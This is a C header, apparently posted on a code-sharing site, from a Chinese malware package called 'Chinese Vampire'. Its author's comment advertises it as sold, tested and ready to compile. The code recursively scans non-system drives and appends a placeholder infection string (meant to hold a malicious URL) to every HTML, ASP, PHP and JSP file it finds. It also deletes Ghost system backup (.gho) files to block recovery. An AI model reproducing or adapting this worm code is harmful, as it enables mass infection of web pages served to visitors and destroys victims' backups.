?? injectwebfile.h
字號:
/*
中華吸血鬼源代碼 作者:黑網之神購買代碼后請勿隨便發布,請
珍惜作者的勞動成果!如果代碼丟失,概不負責代碼風格和注釋我
已經改的非常好了比較清晰,容易讀懂,沒有使用C++,使用純C編寫
,直接在VC++6.0下編譯,編譯就可以使用,經過數百次的測試,已經
非常完美了,無需過多修改!如果無法清除,請向作者索要一份專殺
作者:黑網之神 2008/5/1
*/
//injectwebfile.h
//這個功能是模仿的別人的!
//這個不是很完美,還得多修改
#include "head.h"
//------------------------------------------------------------------------------------
char ganranwangye[MAX_PATH]="wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";
//------------------------------------------------------------------------------------
DWORD BeginWebFileFind(char szPath[]);
int InjectURLToFile(char szWebFilePath[],char szWriteUrl[]);
DWORD WINAPI WebWormProc(LPVOID lpParameter);
char *GetSuffixName(char szFileName[]);
//------------------------------------------------------------------------------------
char *GetSuffixName3(char szFileName[])
{
int nLen=strlen(szFileName);
char *szName=szFileName;
szName=szName+(nLen-3);
return szName;
}
//------------------------------------------------------------------------------------
char *GetSuffixName(char szFileName[])
{
int nLen=strlen(szFileName);
char *szName=szFileName;
szName=szName+(nLen-4);
return szName;
}
//------------------------------------------------------------------------------------
DWORD BeginWebFileFind(char szPath[])
{
char szFindDriver[MAX_PATH]={0};
lstrcpy(szFindDriver,szPath);
lstrcat(szFindDriver,"\\*.*");
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(szFindDriver,&wfd);
if (hFind == INVALID_HANDLE_VALUE)
return 0;
while (FindNextFile(hFind, &wfd))
{
if (wfd.cFileName[0] == '.')
continue;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char szFindPath[MAX_PATH];
lstrcpy(szFindPath,szPath);
lstrcat(szFindPath,"\\");
lstrcat(szFindPath,wfd.cFileName);
BeginWebFileFind(szFindPath);
}
else
{
Sleep(1);
char szFilePath[MAX_PATH];
lstrcpy(szFilePath,szPath);
lstrcat(szFilePath,"\\");
lstrcat(szFilePath,wfd.cFileName);
if(
!lstrcmp(GetSuffixName(szFilePath),"html")||!lstrcmp(GetSuffixName(szFilePath),"HTML")||
!lstrcmp(GetSuffixName3(szFilePath),"htm")||!lstrcmp(GetSuffixName3(szFilePath),"HTM")||
!lstrcmp(GetSuffixName3(szFilePath),"asp")||!lstrcmp(GetSuffixName(szFilePath),"aspx")||
!lstrcmp(GetSuffixName3(szFilePath),"php")||!lstrcmp(GetSuffixName3(szFilePath),"jsp"))
{
if(!InjectURLToFile(szFilePath,ganranwangye))
continue;
printf("%s\r\n",szFilePath);
Sleep(10);
//MessageBox(NULL,szFilePath,szFilePath,NULL);
}
//下面幾行是刪除ghost系統備份的代碼
if(!lstrcmp(GetSuffixName3(szFilePath),"gho"))
DeleteFile(szFilePath);
if(!lstrcmp(GetSuffixName3(szFilePath),"GHO"))
DeleteFile(szFilePath);
if(!lstrcmp(GetSuffixName3(szFilePath),"Gho"))
DeleteFile(szFilePath);
Sleep(10);
}
}
FindClose(hFind);
return 1;
}
//------------------------------------------------------------------------------------
int InjectURLToFile(char szWebFilePath[],char szWriteUrl[]) //寫入代碼的函數
{
char szWriteBuf[MAX_PATH]={0};
sprintf(szWriteBuf,"\r\n%s",szWriteUrl);
FILE *pFile=fopen(szWebFilePath,"rb+");
if(!pFile)
{
return 0;
}
fseek(pFile,-strlen(szWriteBuf),SEEK_END);
char szReadBuf[MAX_PATH]={0};
fread(szReadBuf,sizeof(szReadBuf),1,pFile);
if(!lstrcmp(szReadBuf,szWriteBuf))
{
fclose(pFile);
return 0;
}
fseek(pFile,0,SEEK_END);
fwrite(szWriteBuf,strlen(szWriteBuf),1,pFile);
fclose(pFile);
return 1;
}
//------------------------------------------------------------------------------------
DWORD WINAPI WebWormProc(LPVOID lpParameter) //循環遍歷
{
char szbuff[256]={0};
char szdrivestring[4]={0};
int len=GetLogicalDriveStrings(sizeof(szbuff),szbuff);
for(int i=0;i<len;i++)
{
if(szbuff[i]==0)
{
szdrivestring[0]=szbuff[i-3];
szdrivestring[1]=szbuff[i-2];
if(!lstrcmp(szdrivestring,"A:"))
{
continue;
}
if(!lstrcmp(szdrivestring,"C:"))
{
continue;
}
else
{
BeginWebFileFind(szdrivestring);
}
}
}
return 1;
}
//------------------------------------------------------------------------------------
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -